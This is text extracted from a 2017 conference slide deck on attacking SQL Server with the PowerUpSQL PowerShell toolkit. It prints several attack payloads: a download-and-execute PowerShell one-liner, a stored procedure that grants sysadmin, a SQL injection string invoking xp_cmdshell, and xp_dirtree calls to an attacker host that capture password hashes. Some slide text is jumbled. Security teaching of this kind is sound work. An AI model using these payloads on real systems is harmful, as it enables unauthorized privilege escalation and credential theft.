SQL Server Hacking On Scale UsingPowerShell S.sutherland
SQL Server Hacking On Scale UsingPowerShell S.sutherland
2017
Speaker Information
Name: Scott Sutherland
Twitter: @_nullbind
Slides: http://slideshare.net/nullbind
http://slideshare.net/netspi
Blogs: https://blog.netspi.com/author/scott-sutherland/
Code: https://github.com/netspi/PowerUpSQL
https://github.com/nullbind
Presentation Overview
● PowerUpSQL Overview
● General Recommendations
Why SQL Server?
● Used in most enterprise environments
https://github.com/netspi/PowerUpSQL
PowerUpSQL Overview: Primary Goals
● Instance Discovery
● Auditing
● Exploitation
● Scalable
● Flexible
● Portable
https://github.com/netspi/PowerUpSQL
PowerUpSQL Overview: Functions
Currently over 70 Functions https://github.com/NetSPI/PowerUpSQL/wiki
PowerShell Gallery
https://www.powershellgallery.com/packages/PowerUpSQL/
PowerUpSQL Overview: How do I install it?
Github
Import-Module PowerUpSQL.psd1
IEX(New-Object
System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/P
owerUpSQL.ps1")
PowerShell Gallery
Install-Module -Name PowerUpSQL
PowerUpSQL Overview: Help?
List Functions
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Blog: https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/
Escalating
Privileges
Unauthenticated / Domain User to SQL Login
Testing Login Access: PowerUpSQL
Attacker Perspective Attack PowerUpSQL Function Example
DEMO
Escalating Privileges: Domain User
Why can Domain Users login into so
many SQL Servers?
Domain of SQL
Server
Escalating Privileges: Weak PWs
Enumerating Domain Users
Full RID of
Domain Admins
group
Escalating Privileges: Weak PWs
Enumerating Domain Users
Get-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges: Impersonation
o EXECUTE AS USER
Escalating Privileges: Impersonation
Impersonate Privilege
o EXECUTE AS LOGIN
o EXECUTE AS USER
Escalating Privileges: Impersonation
Impersonate Privilege
o EXECUTE AS LOGIN
o EXECUTE AS USER
Escalating Privileges: Impersonation
Stored Procedure and Trigger Creation / Injection Pros
Issues • Can execute queries/commands in another user context
• Limit commands and queries
• Don’t have to grant IMPERSONATE
• EXECUTE AS OWNER can be used to execute a
stored procedure as another login Cons
• No granular control over the database owner’s privileges
• DB_OWNER role can EXECUTE AS OWNER of the DB,
which is often a sysadmin
• Requires database to be configured as trustworthy for
OS command execution
• Impersonation can be done via SQL injection under
specific conditions
• Impersonation can be done via command injection under
specific conditions
Escalating Privileges: Impersonation
Stored Procedure and Trigger Creation / Injection
Issues
USE MyAppDb
GO
• EXECUTE AS OWNER can be used to execute a CREATE PROCEDURE sp_escalate_me
stored procedure as another login
WITH EXECUTE AS OWNER
• DB_OWNER role can impersonate the actual AS
database owner EXEC sp_addsrvrolemember
'MyAppUser','sysadmin'
GO
Escalating Privileges: Impersonation
Stored Procedure and Trigger Creation / Injection
Issues
USE MyAppDb
GO
• EXECUTE AS OWNER can be used to execute a CREATE PROCEDURE sp_escalate_me
stored procedure as another login
WITH EXECUTE AS OWNER
• DB_OWNER role can impersonate the actual AS
SYSADMIN
database owner EXEC sp_addsrvrolemember is often the
'MyAppUser','sysadmin' OWNER
GO
Escalating Privileges: Impersonation
Stored Procedure and Trigger Creation / Injection Pros
Issues • Can execute queries/commands in another user
context
• Limit commands and queries
• Use signed Procedures
• Don’t have to grant IMPERSONATE
• Granular control over permissions
o Create stored procedure • Database does NOT have to be configured as
trustworthy for OS command execution
o Create a database master key
Cons
o Create a certificate • Impersonation can be done via SQL injection
under specific conditions
o Create a login from the certificate • Impersonation can be done via command
injection under specific conditions
o Configure login privileges
https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/
Escalating Privileges: Impersonation
SQL Injection Example
CREATE PROCEDURE sp_sqli2
@DbName varchar(max)
AS
BEGIN
Declare @query as varchar(max)
SET @query = ‘
SELECT name FROM master..sysdatabases
WHERE name like ''%'+ @DbName+'%'' OR
name=''tempdb''';
EXECUTE(@query)
END
GO
PURE EVIL
https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/
Escalating Privileges: Impersonation
SQL Injection Example
EXEC MASTER.dbo.sp_sqli2
'master'';EXEC master..xp_cmdshell ''whoami''--';
https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/
Escalating Privileges: Impersonation
SQL Injection Example
Escalating Privileges: Impersonation
Automatic Execution of Stored Procedure Pros
• Marking a stored procedure to run when the SQL
• Stored procedures ca be configured to execute Server service restarts has many use cases
• Only stored procedures in the master database
when the SQL Server service restarts
can be marked for auto execution
Cons
• No granular control over what context the startup
command is executed in
• All stored procedures marked for auto execution
are executed as ‘sa’, even if ‘sa’ is disabled
• Any non sysadmin access to stored procedures
can lead to execution as ‘sa’
Escalating Privileges: DEMO
Invoke-SQLAudit
Escalating Privileges: Invoke-SQLPrivEsc
Invoke-SQLEscalatePriv
Escalating Privileges: Invoke-SQLPrivEsc
DEMO
Escalating
Privileges
SysAdmin to Windows Service Account
Escalating Privileges: SysAdmin to Win Account
=
Windows Service Account Impersonation
Escalating Privileges: SysAdmin to Win Account
sp_configure ‘xp_cmdshell', 1;
Add invoke-sqloscmdclr and agents
xp_cmdshell Yes Yes No
RECONFIGURE;
Key
PURE
LVA = Low Value Application
EVIL
Internet
HVA = High Value Application
Ports
80 and 443
DMZ
LVA HVA
Ports
1433 and 1434
LRA
LVA HVA
Intranet
ADS
Leveraging Shared MS SQL Server Service Accounts
PURE
LVA = Low Value Application
EVIL
Internet
HVA = High Value Application
Ports
80 and 443
1
SQL Injection
DMZ
LVA HVA
Ports
1433 and 1434
LRA
LVA HVA
Intranet
ADS
Leveraging Shared MS SQL Server Service Accounts
PURE
LVA = Low Value Application
EVIL
Internet
HVA = High Value Application
Ports
80 and 443
1
SQL Injection
DMZ
LVA HVA
2
Execute Local Command Ports
via xp_cmdshell 1433 and 1434
LRA
LVA HVA
Intranet
ADS
Leveraging Shared MS SQL Server Service Accounts
PURE
LVA = Low Value Application
EVIL
Internet
HVA = High Value Application
Ports
80 and 443
1
SQL Injection
DMZ
LVA HVA
2
Execute Local Command Ports
via xp_cmdshell 1433 and 1434
3
Execute commands and
gather data from other
database servers via osql
LRA
LVA HVA
Intranet
● SQL Server links are basically persistent database connections for SQL Servers.
● Public role can use links to execute queries on remote servers (impersonation)
PURE
LVA = Low Value Application
EVIL
Internet
HVA = High Value Application
Ports
80 and 443
DMZ
LVA HVA
Ports
1433 and 1434
LRA
LVA HVA
Intranet
DB1
ADS
Leveraging MS SQL Database links
PURE
LVA = Low Value Application
EVIL
Internet
HVA = High Value Application
Ports
80 and 443
1
SQL Injection
DMZ
LVA HVA
Ports
1433 and 1434
LRA
LVA HVA
Intranet
DB1
ADS
Leveraging MS SQL Database links
PURE
LVA = Low Value Application
EVIL
Internet
HVA = High Value Application
Ports
80 and 443
1
SQL Injection
DMZ
LVA HVA
Ports
1433 and 1434
LRA
LVA HVA
Intranet
D st
Le
B P
a
L i ri v
nk ile
w ge
ith s
DB1
ADS
Leveraging MS SQL Database links
PURE
LVA = Low Value Application
EVIL
Internet
HVA = High Value Application
Ports
80 and 443
1
SQL Injection
DMZ
LVA HVA
Ports
1433 and 1434
LRA
LVA HVA
Intranet
D st ith
Le
B P kw t
a
L i ri v Lin oun
nk ile D B a cc
w ge SA
ith s
● Database links exist (and can be crawled) in about 50% of environments we’ve seen
● mssql_linkcrawler Module
● Author: Antti Rantasaari and Scott Sutherland - Released 2012
● https://www.rapid7.com/db/modules/exploit/windows/mssql/mssql_linkcrawler
● Get-SQLServerLinkCrawl
● Author: Antti Rantasaari
● https://blog.netspi.com/sql-server-link-crawling-powerupsql/
Escalating Privileges: Crawling Links
Function Description
Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command
execution.
Examples
Get-SQLServerLinkCrawl
DEMO
Escalating Privileges: Crawling Links
Escalating
Privileges
UNC Path Injection
Escalating Privileges: UNC Injection
UNC Path Injection Summary
● UNC paths are used for accessing remote file servers like so \\192.168.1.4\file
● Almost all procedures that accept a file path in SQL Server, support UNC paths
● UNC paths can be used to force the SQL Server service account to authenticate to an attacker
● An attacker can then capture the NetNTLM password hash and crack or relay it
● Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges: UNC Injection
Escalating Privileges: UNC Injection
The Issue
• By DEFAULT, the PUBLIC role can execute at least two procedures that accept a file path
xp_dirtree '\\attackerip\file‘
xp_fileexists '\\attackerip\file‘
The Solution
• EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role
(but no one does that)
• The Public role can perform UNC path injection into the BACKUP and RESTORE
commands even though it can’t perform the actual backup/restore:
Partial Solution
• A patch was released for SQL Server versions 2012 through 2016
https://technet.microsoft.com/library/security/MS16-131
Get-SQLServiceAccountPwHashes
…what? It’s self descriptive
Escalating Privileges: UNC Path Injection
DEMO
Escalating
Privileges
OS Admin to SysAdmin
Escalating Privileges: OS Admin to SysAdmin
Process Migration
(Remote DLL or Shellcode x x x x x x
Injection)
Invoke-SQLImpersonateService
(Wraps Invoke-TokenManipulation)
Common
Post
Exploitation
Activities
Post Exploitation: Overview
Common Post Exploitation Activities
1. Establish Persistence
• SQL Server Layer: startup procedures, agent jobs, triggers, modified code
• OS Layer: Registry & file auto runs, tasks, services, etc.
DEMO
General
Recommendations
General Recommendations
1. Enforce least privilege everywhere!
6. Enable auditing at the server and database levels, and monitor for potentially malicious activity.
Take Aways
1. SQL Server is everywhere
2. SQL Server has many trust relationships with Windows and Active Directory
3. SQL Server has many default and common configurations that can be exploited to gain access
4. Tons of domain users have the ability to login into SQL Server
5. Service accounts have sysadmin privileges
6. Shared service accounts can be dangerous
7. PowerUpSQL can be used for basic auditing and exploiting of common SQL Server issues
@_nullbind https://github.com/netspi/PowerUpSQL
PowerUpSQL Overview: Thanks!
Twitter: @_nullbind
Slides: http://slideshare.net/nullbind
http://slideshare.net/netspi
Blogs: https://blog.netspi.com/author/scott-sutherland/
Code: https://github.com/netspi/PowerUpSQL
https://github.com/nullbind